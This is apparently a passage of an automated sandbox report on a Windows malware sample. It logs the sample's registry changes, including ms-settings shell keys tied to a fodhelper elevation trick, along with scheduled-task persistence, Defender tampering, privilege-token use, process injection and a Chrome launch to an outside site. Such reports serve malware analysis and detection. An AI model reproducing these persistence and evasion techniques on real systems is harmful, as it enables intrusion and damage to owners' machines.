\REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\ms-settings\shell\open 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key deleted \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\ms-settings\shell 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Key created \REGISTRY\USER\S-1-5-21-2043432456-1617298091-2772621413-1000_Classes\ms-settings 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 5592 schtasks.exe 5640 schtasks.exe 3900 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 3856 chrome.exe 3856 chrome.exe 2968 powershell.exe 2968 powershell.exe 2968 powershell.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 4 IoCs
pid Process 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeDebugPrivilege 2968 powershell.exe Token: SeShutdownPrivilege 3856 chrome.exe Token: SeCreatePagefilePrivilege 3856 chrome.exe Token: SeIncreaseQuotaPrivilege 4692 WMIC.exe Token: SeSecurityPrivilege 4692 WMIC.exe Token: SeTakeOwnershipPrivilege 4692 WMIC.exe Token: SeLoadDriverPrivilege 4692 WMIC.exe Token: SeSystemProfilePrivilege 4692 WMIC.exe Token: SeSystemtimePrivilege 4692 WMIC.exe Token: SeProfSingleProcessPrivilege 4692 WMIC.exe Token: SeIncBasePriorityPrivilege 4692 WMIC.exe Token: SeCreatePagefilePrivilege 4692 WMIC.exe Token: SeBackupPrivilege 4692 WMIC.exe Token: SeRestorePrivilege 4692 WMIC.exe Token: SeShutdownPrivilege 4692 WMIC.exe Token: SeDebugPrivilege 4692 WMIC.exe Token: SeSystemEnvironmentPrivilege 4692 WMIC.exe Token: SeRemoteShutdownPrivilege 4692 WMIC.exe Token: SeUndockPrivilege 4692 WMIC.exe Token: SeManageVolumePrivilege 4692 WMIC.exe Token: 33 4692 WMIC.exe Token: 34 4692 WMIC.exe Token: 35 4692 WMIC.exe Token: 36 4692 WMIC.exe Token: SeIncreaseQuotaPrivilege 4692 WMIC.exe Token: SeSecurityPrivilege 4692 WMIC.exe Token: SeTakeOwnershipPrivilege 4692 WMIC.exe Token: SeLoadDriverPrivilege 4692 WMIC.exe Token: SeSystemProfilePrivilege 4692 WMIC.exe Token: SeSystemtimePrivilege 4692 WMIC.exe Token: SeProfSingleProcessPrivilege 4692 WMIC.exe Token: SeIncBasePriorityPrivilege 4692 WMIC.exe Token: SeCreatePagefilePrivilege 4692 WMIC.exe Token: SeBackupPrivilege 4692 WMIC.exe Token: SeRestorePrivilege 4692 WMIC.exe Token: SeShutdownPrivilege 4692 WMIC.exe Token: SeDebugPrivilege 4692 WMIC.exe Token: SeSystemEnvironmentPrivilege 4692 WMIC.exe Token: SeRemoteShutdownPrivilege 4692 WMIC.exe Token: SeUndockPrivilege 4692 WMIC.exe Token: SeManageVolumePrivilege 4692 WMIC.exe Token: 33 4692 WMIC.exe Token: 34 4692 WMIC.exe Token: 35 4692 WMIC.exe Token: 36 4692 WMIC.exe Token: SeBackupPrivilege 4844 vssvc.exe Token: SeRestorePrivilege 4844 vssvc.exe Token: SeAuditPrivilege 4844 vssvc.exe Token: SeShutdownPrivilege 3856 chrome.exe Token: SeCreatePagefilePrivilege 3856 chrome.exe Token: SeShutdownPrivilege 3856 chrome.exe Token: SeCreatePagefilePrivilege 3856 chrome.exe Token: SeDebugPrivilege 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 3856 chrome.exe Token: SeCreatePagefilePrivilege 3856 chrome.exe Token: SeIncBasePriorityPrivilege 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe Token: SeShutdownPrivilege 3856 chrome.exe Token: SeCreatePagefilePrivilege 3856 chrome.exe Token: SeDebugPrivilege 3408 tasklist.exe Token: SeDebugPrivilege 4136 whoami.exe Token: SeDebugPrivilege 440 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 3928 WMIC.exe Token: SeSecurityPrivilege 3928 WMIC.exe Token: SeTakeOwnershipPrivilege 3928 WMIC.exe - Suspicious use of FindShellTrayWindow 34 IoCs
pid Process 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe - Suspicious use of SendNotifyMessage 16 IoCs
pid Process 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe 3856 chrome.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe - Suspicious use of WriteProcessMemory 64 IoCs
description pid Process procid_target PID 652 wrote to memory of 3856 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 80 PID 3856 wrote to memory of 3464 3856 chrome.exe 81 PID 652 wrote to memory of 2968 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 82 PID 652 wrote to memory of 4936 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 84 PID 652 wrote to memory of 3740 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 86 PID 652 wrote to memory of 4060 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 88 PID 652 wrote to memory of 5024 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 90 PID 652 wrote to memory of 3160 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 92 PID 652 wrote to memory of 4100 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 140 PID 3856 wrote to memory of 4376 3856 chrome.exe 95 PID 3856 wrote to memory of 3416 3856 chrome.exe 96 PID 3856 wrote to memory of 3416 3856 chrome.exe 96 PID 3856 wrote to memory of 3616 3856 chrome.exe 100 PID 3856 wrote to memory of 3616 3856 chrome.exe 100 PID 3856 wrote to memory of 2484 3856 chrome.exe 99 PID 3856 wrote to memory of 2484 3856 chrome.exe 99 PID 3856 wrote to memory of 1776 3856 chrome.exe 101 PID 3856 wrote to memory of 1776 3856 chrome.exe 101 PID 3856 wrote to memory of 2548 3856 chrome.exe 102 PID 3856 wrote to memory of 2548 3856 chrome.exe 102 PID 652 wrote to memory of 832 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 103 PID 652 wrote to memory of 916 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 106 PID 652 wrote to memory of 4948 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 108 PID 652 wrote to memory of 5096 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 109 PID 652 wrote to memory of 3116 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 120 PID 652 wrote to memory of 4116 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 113 PID 652 wrote to memory of 4692 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 115 PID 4948 wrote to memory of 3608 4948 fodhelper.exe 117 PID 3856 wrote to memory of 4752 3856 chrome.exe 121 PID 3856 wrote to memory of 4752 3856 chrome.exe 121 PID 652 wrote to memory of 3372 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 166 PID 652 wrote to memory of 5592 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 123 PID 652 wrote to memory of 5640 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 125 PID 652 wrote to memory of 6104 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 130 PID 652 wrote to memory of 3500 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 132 PID 652 wrote to memory of 1280 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 133 PID 652 wrote to memory of 2212 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 134 PID 652 wrote to memory of 2904 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 137 PID 652 wrote to memory of 1804 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 139 PID 652 wrote to memory of 4100 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 140 PID 652 wrote to memory of 3900 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 141 PID 652 wrote to memory of 5040 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 146 PID 2904 wrote to memory of 2448 2904 cmd.exe 148 PID 1280 wrote to memory of 3408 1280 cmd.exe 147 PID 2448 wrote to memory of 792 2448 net.exe 149 PID 2212 wrote to memory of 4136 2212 cmd.exe 150 PID 3500 wrote to memory of 316 3500 cmd.exe 151 PID 4100 wrote to memory of 440 4100 cmd.exe 152 PID 6104 wrote to memory of 1672 6104 cmd.exe 153 PID 1804 wrote to memory of 5240 1804 cmd.exe 154 PID 6104 wrote to memory of 3928 6104 cmd.exe 155 PID 652 wrote to memory of 3440 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 156 PID 652 wrote to memory of 5548 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 158 PID 652 wrote to memory of 5588 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 160 PID 652 wrote to memory of 5680 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 161 PID 652 wrote to memory of 5772 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 162 PID 652 wrote to memory of 5828 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 163 PID 652 wrote to memory of 5696 652 2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe 165 PID 5680 wrote to memory of 5232 5680 net.exe 170 PID 3856 wrote to memory of 4688 3856 chrome.exe 171 PID 3856 wrote to memory of 4688 3856 chrome.exe 171 PID 3856 wrote to memory of 1184 3856 chrome.exe 172 PID 3856 wrote to memory of 5832 3856 chrome.exe 176 PID 3856 wrote to memory of 5840 3856 chrome.exe 177 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe"C:\Users\Admin\AppData\Local\Temp\2026-05-17_f97820c4eac595be9ddae21f8f51813e_destroyer_elex_glassworm_ngrbot_wannacry.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Modifies security service
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Event Triggered Execution: Image File Execution Options Injection
- Drops startup file
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:652 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" http://gol2.io2⤵
- Drops file in Windows directory
- Enumerates system info in registry
- Modifies data under HKEY_USERS
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of WriteProcessMemory
PID:3856 -
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0x100,0x104,0x108,0xdc,0x10c,0x7ffe5cbcc728,0x7ffe5cbcc734,0x7ffe5cbcc7403⤵PID:3464
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=1444,i,14376076103369352281,356028683543938084,524288 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2116 /prefetch:113⤵
- System Time Discovery
PID:4376
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1580,i,11098548149129304667,13228406578534111610,262144 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1920 /prefetch:23⤵PID:3416
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2236,i,3542251978334970397,8714092385759476183,524288 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2640 /prefetch:133⤵PID:2484
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=2888,i,11481018182151235343,17518973293116113375,2097152 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2900 /prefetch:13⤵PID:3616
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=2904,i,15354459499139078038,4620124436808241459,2097152 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2924 /prefetch:13⤵PID:1776
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4056,i,16455278556049101889,1116656182050221973,2097152 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4100 /prefetch:93⤵PID:2548
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --metrics-shmem-handle=4724,i,9868416648248329953,8186980928601859226,2097152 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4736 /prefetch:13⤵PID:4752
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=media.mojom.CdmServiceBroker --lang=en-US --service-sandbox-type=cdm --force-high-res-timeticks=disabled --metrics-shmem-handle=3652,i,16352527799876919611,6573581501527018476,524288 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3648 /prefetch:143⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
PID:4688
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5844,i,3120598779031240428,13406728819882692059,524288 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5840 /prefetch:143⤵PID:1184
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5084,i,15295391114613814179,4559019813150810011,524288 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5840 /prefetch:143⤵PID:5832
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5564,i,5011880601682283289,5602852052660996248,524288 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5936 /prefetch:143⤵PID:5840
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --lang=en-US --service-sandbox-type=none --message-loop-type-ui --force-high-res-timeticks=disabled --metrics-shmem-handle=5736,i,17593813725317763149,4827828855386865711,524288 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=6120 /prefetch:143⤵PID:5668
-
-
C:\Program Files\Google\Chrome\Application\chrome.exe"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.22000.1 --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADoAAAIAAAAAAAAAAAAAGAAAQAAAAAAAACEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=6060,i,269635319852885396,12550752967523169359,262144 --field-trial-handle=1924,i,15254546547367768145,11467196466889733583,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4228 /prefetch:103⤵PID:5920
-
-
-
